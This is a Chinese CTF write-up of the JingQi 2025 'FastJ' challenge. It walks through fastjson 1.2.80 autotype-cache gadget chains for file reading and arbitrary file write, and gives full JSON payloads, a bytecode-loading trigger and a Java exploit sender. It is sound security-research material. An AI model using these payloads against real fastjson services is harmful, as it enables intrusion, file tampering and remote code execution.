从京麒CTF2025-FastJ看fastjson的Any_File_Write-Chains

前言

​ 最近事比较多,去长沙打完软件安全赛拿了一等奖:

image-20250611200023261

​ 本来是想复现一下那两道java的,其实那两道反序列化只要找到能打的Servlet就随便出了,因为依赖有CC3.1。

​ 但是环境不太好搭,就此作罢了hhh。

​ 正好最近有个京麒CTF的FastJ,打这道题必须走JDK11的fj反序列化。

分析

简单粗暴的交互:

image-20250611165719077

Fastjson1.2.80的任意写利用

https://github.com/luelueking/CVE-2022-25845-In-Spring

通过这个poc可以得知,通过Exception期望类可以缓存一些新类,然后上面能缓存InputStream:

Step1: 把java.io.InputStream 加入 fastjson autotype 缓存

1
2
3
4
5
6
7
8
9
10
{
"a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonParser\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\", \"in\": {}}",
"d": {
"$ref": "$.c.c"
}
}

[截屏2024-11-07 21.36.27](https://github.com/luelueking/CVE-2022-25845-In-Spring/blob/main/images/截屏2024-11-07 21.36.27.png)

Step2: file协议读取/tmp内容,获取tomcat的docbase文件名称

逐字节读取内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "${file}"
},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": ${data}
}
]
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [1]
}
]
},
"b": {"$ref":"$.a.delegate"}
}

[截屏2024-11-07 21.35.56](https://github.com/luelueking/CVE-2022-25845-In-Spring/blob/main/images/截屏2024-11-07 21.35.56.png)

Step3: 写入恶意字节码到docbase目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"cs": {
"@type": "java.lang.String"
"${shellcode}",
"charset": "iso-8859-1",
"bufferSize": ${size}
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "${file2write}",
"charset": "iso-8859-1",
"append": true
},
"charset": "iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
"c": {}
}

[截屏2024-11-07 21.37.04](https://github.com/luelueking/CVE-2022-25845-In-Spring/blob/main/images/截屏2024-11-07 21.37.04.png)

Step4: 触发恶意类加载

1
2
3
4
{
"@type":"java.lang.Exception",
"@type":"com.chenzai.HackException"
}

但是可以看到,他打的是common-io。本题的JDK是11,有什么意义呢?

然而JDK11自带符号信息,可以调用任意构造函数。猜测还是利用OutputStream下的子类实现任意文件写

而且题目看似多此一举的给了一个FilterFileOutputStream

题目那个getflag()不能直接读,估计就是给你提示到用这个FilterFileOutputStream的。这道题其实是写定时任务反弹shell的,也是常见的写文件R方法。

EXP

1、缓存OutputStream

fastjson的类缓存机制

Fastjson的类缓存机制:ParserConfig.classMapping

当使用 @type 加载了一个类,Fastjson 会把它缓存起来:

1
classMapping.put(typeName, clazz);

这是为了提升解析性能、减少重复反射。

所以,只要你通过 @type 加载了某个类,Fastjson 后续就可以:

复用这个 Class 实例,并且不再检查autoType(因为已经被认为是“合法的”了)

缓存机制由来:

  • 该机制很早就有(至少在 1.2.6+ 就存在),本是出于性能目的

  • 后来被用于各种 Gadget 利用链中作为“class 引导缓存”技巧

(参考:2025京麒杯web-先知社区

根据缓存InputStream的利用,我们可以找到fastjson的缓存OutputStream的gadget,一直抡到触发Exception:

1
2
3
4
com.fasterxml.jackson.core.json.UTF8JsonGenerator
com.fasterxml.jackson.core.JsonGenerator
com.fasterxml.jackson.core.JsonGenerationException
java.lang.Exception

于是可以依葫芦画瓢得出第一个json:

1
2
3
4
5
6
{
"a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\", \"g\": {} }",
"b": { "$ref": "$.a.a" },
"c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonGenerator\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\", \"out\": {} }",
"d": { "$ref": "$.c.c" }
}

2、任意文件写

fastjson虽然再1.2.80禁用了FileOutputStream,但还记得题目给出的FilterFileOutputStream吗?接下来可以结合rmb实现任意文件写。

rmb(RMI-Based MarshalOutputStream

是 JDK 自带的一个类:sun.rmi.server.MarshalOutputStream

它是ObjectOutputStream 的子类;并且在对象序列化过程中,会调用其内部 OutputStream 的 write 方法;也是 JDK RMI 模块中用于序列化对象时的工具类。

那么我们就可以利用反序列化触发write(),实现数据流写入。

InflaterOutputStream

标准 JDK 类,负责接收压缩数据 → 解压 → 向底层流写入

所以第二个json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type": "java.io.OutputStream",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "com.app.FilterFileOutputStream",
"name": "{path}",
"prefix": "/"
},
"infl": {
"input": {
"array": "{ABC}",
"limit": "{ABCD}"
}
},
"bufLen": "100"
},
"protocolVersion": 1
}

总体思路

调用getflag()会触发new FilterFileOutputStream("/flag", "/")

而触发调用FilterFileOutputStream类,就会让构造函数调用 super(name) ➜ 调用 FileOutputStream(String name) ➜ 会尝试打开或新建这个文件

由此结合后续write任意写。

1
2
3
4
5
6
7
8
9
Fastjson parse()

MarshalOutputStream.readObject()

InflaterOutputStream
└── infl.input.array → base64压缩数据
└── infl.limit → 解压后长度

FilterFileOutputStream → 文件创建并写入

生成array压缩流即可:

1
2
3
4
5
6
7
8
String input = "123123123123";
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) {
deflaterOutputStream.write(input.getBytes("UTF-8"));
}
String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
int leng = byteArrayOutputStream.toByteArray().length;
System.out.println(encoded);

limit设置为解压缩后byte的length。

借用mini-venom队的wp,成功实现任意文件写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class Exp {

static String target = "http://localhost:8080/";

public static Object sendJson(String payload) {
try {
RestTemplate restTemplate = new RestTemplate();

HttpHeaders httpHeaders = new HttpHeaders();
httpHeaders.setContentType(MediaType.APPLICATION_FORM_URLENCODED);

LinkedMultiValueMap<Object, Object> map = new LinkedMultiValueMap<>();
map.add("json", payload);

HttpEntity<LinkedMultiValueMap<Object, Object>> request = new HttpEntity<>(map, httpHeaders);

return restTemplate.postForObject(target, request, String.class);
} catch (RestClientException e) {
return"null";
}
}

public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, InterruptedException {
// 1. add inputStream to fastjson cache
String payload1 = new String(Files.readAllBytes(Paths.get("payloads/step1.json")));
sendJson(payload1);
System.out.println(payload1);

String path = "/tmp/eddie.txt";
//String path = "F:\\CTF_Java\\FastJ\\lib\\eddie.txt";

String input = "EddieMurphy_You_Bet";
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) {
deflaterOutputStream.write(input.getBytes("UTF-8"));
}

String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
int leng = byteArrayOutputStream.toByteArray().length;

String payload2 = new String(Files.readAllBytes(Paths.get("payloads/step2.json")));
payload2 = payload2.replace("{ABC}", encoded).replace("\"{ABCD}\"",String.valueOf(leng)).replace("{path}",path);
sendJson(payload2);
System.out.println(payload2);

}
}

image-20250611195649367

参考链接:

2025京麒CTF初赛-web - symya - 博客园

2025京麒杯web-先知社区

2025第三届京麒CTF挑战赛 writeup by Mini-Venom

后记

这道题可以学习一波,但貌似windows不能直接写成功,不知道是不是我机器配的权限原因。Linux就随便打了。

后续更一个JDBC不出网RCE的复现。

但是最近忙着保研一堆事,还要打工😭😭😭,所以更不勤了……


从京麒CTF2025-FastJ看fastjson的Any_File_Write-Chains
https://eddiemurphy89.github.io/2025/06/08/从京麒CTF2025-FastJ看fastjson的Any-File-Write-Chains/
作者
EddieMurphy
发布于
2025年6月8日
许可协议